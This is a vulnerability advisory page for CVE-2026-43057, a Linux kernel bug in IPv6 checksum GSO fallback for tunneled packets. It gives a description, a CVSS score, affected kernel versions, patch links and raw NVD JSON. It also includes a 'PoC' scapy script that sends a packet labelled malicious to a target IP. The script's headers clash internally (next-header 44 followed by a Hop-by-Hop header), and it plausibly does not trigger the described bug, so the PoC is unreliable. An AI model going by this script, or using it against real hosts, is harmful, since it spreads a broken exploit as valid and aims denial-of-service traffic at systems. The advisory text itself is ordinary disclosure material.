CVE-2026-43057

Description

In the Linux kernel, the following vulnerability has been resolved: net: correctly handle tunneled traffic on IPV6_CSUM GSO fallback NETIF_F_IPV6_CSUM only advertises support for checksum offload of packets without IPv6 extension headers. Packets with extension headers must fall back onto software checksumming. Since TSO depends on checksum offload, those must revert to GSO. The below commit introduces that fallback. It always checks network header length. For tunneled packets, the inner header length must be checked instead. Extend the check accordingly. A special case is tunneled packets without inner IP protocol. Such as RFC 6951 SCTP in UDP. Those are not standard IPv6 followed by transport header either, so also must revert to the software GSO path.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (特定版本及之前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import sys
from scapy.all import *

# PoC for CVE-2026-43057
# This script attempts to trigger the IPv6 checksum GSO fallback bug
# by sending a packet with IPv6 extension headers or specific tunneling.

def send_malicious_packet(target_ip):
    # Construct an IPv6 packet with extension headers to trigger the fallback
    # Note: Actual payload construction may vary based on specific kernel version
    pkt = IPv6(dst=target_ip, nh=44) / IPv6ExtHdrHopByHop() / TCP(dport=80, sport=12345)
    
    print(f"[*] Sending malicious packet to {target_ip}...")
    send(pkt)
    print("[+] Packet sent.")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 poc.py <target_ip>")
        sys.exit(1)
    target = sys.argv[1]
    send_malicious_packet(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43057
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43057
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43057/
[4] VulDB https://vuldb.com/cve/CVE-2026-43057
[5] https://git.kernel.org/stable/c/2094a7cf91b71367b649f991aacc7b579f793d0b
[6] https://git.kernel.org/stable/c/33670f780e0120c3dacda188c512bbffe0b6044c
[7] https://git.kernel.org/stable/c/732fdeb2987c94b439d51f5cb9addddc2fc48c42
[8] https://git.kernel.org/stable/c/a98b78116a27e2a57b696b569b2cb431c95cf9b6
[9] https://git.kernel.org/stable/c/c4336a07eb6b2526dc2b62928b5104b41a7f81f5
[10] https://git.kernel.org/stable/c/ed71cf465c75f5688b07a35d373cd1d6b589c8ea

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43057", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:52.260", "lastModified": "2026-05-06T18:48:59.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: correctly handle tunneled traffic on IPV6_CSUM GSO fallback\n\nNETIF_F_IPV6_CSUM only advertises support for checksum offload of\npackets without IPv6 extension headers. Packets with extension\nheaders must fall back onto software checksumming. Since TSO\ndepends on checksum offload, those must revert to GSO.\n\nThe below commit introduces that fallback. It always checks\nnetwork header length. For tunneled packets, the inner header length\nmust be checked instead. Extend the check accordingly.\n\nA special case is tunneled packets without inner IP protocol. Such as\nRFC 6951 SCTP in UDP. Those are not standard IPv6 followed by\ntransport header either, so also must revert to the software GSO path."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.149", "versionEndExcluding": "6.1.168", "matchCriteriaId": "B5BB4B57-8621-4936-BEE3-B37995C984FA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.103", "versionEndExcluding": "6.6.134", "matchCriteriaId": "15CC3DA3-D2C0-4643-A72D-8C9A9724B5F0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.44", "versionEndExcluding": "6.12.81", "matchCriteriaId": "F5939539-ABE4-471B-A0B1-74936783439B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16.4", "versionEndExcluding": "6.17", "matchCriteriaId": "416F7835-F9CE-4A3B-A1FC-81E7AC062982"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartExcluding": "6.17.1", "versionEndExcluding": "6.18.22", "matchCriteriaId": "DD0BE736-1320-4461-832F-7217DD65564D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:-:*:*:*:*:*:*", "matchCriteriaId": "7CC8B11D-82DC-4958-8DC7-BF5CC829A5E9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc7:*:*:*:*:*:*", "matchCriteriaId": "3963C3A0-CEA1-4F5C-8011-3A593ABB684D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2094a7cf91b71367b649f991aacc7b579f793d0b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/33670f780e0120c3dacda188c512bbffe0b6044c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/732fdeb2987 ... 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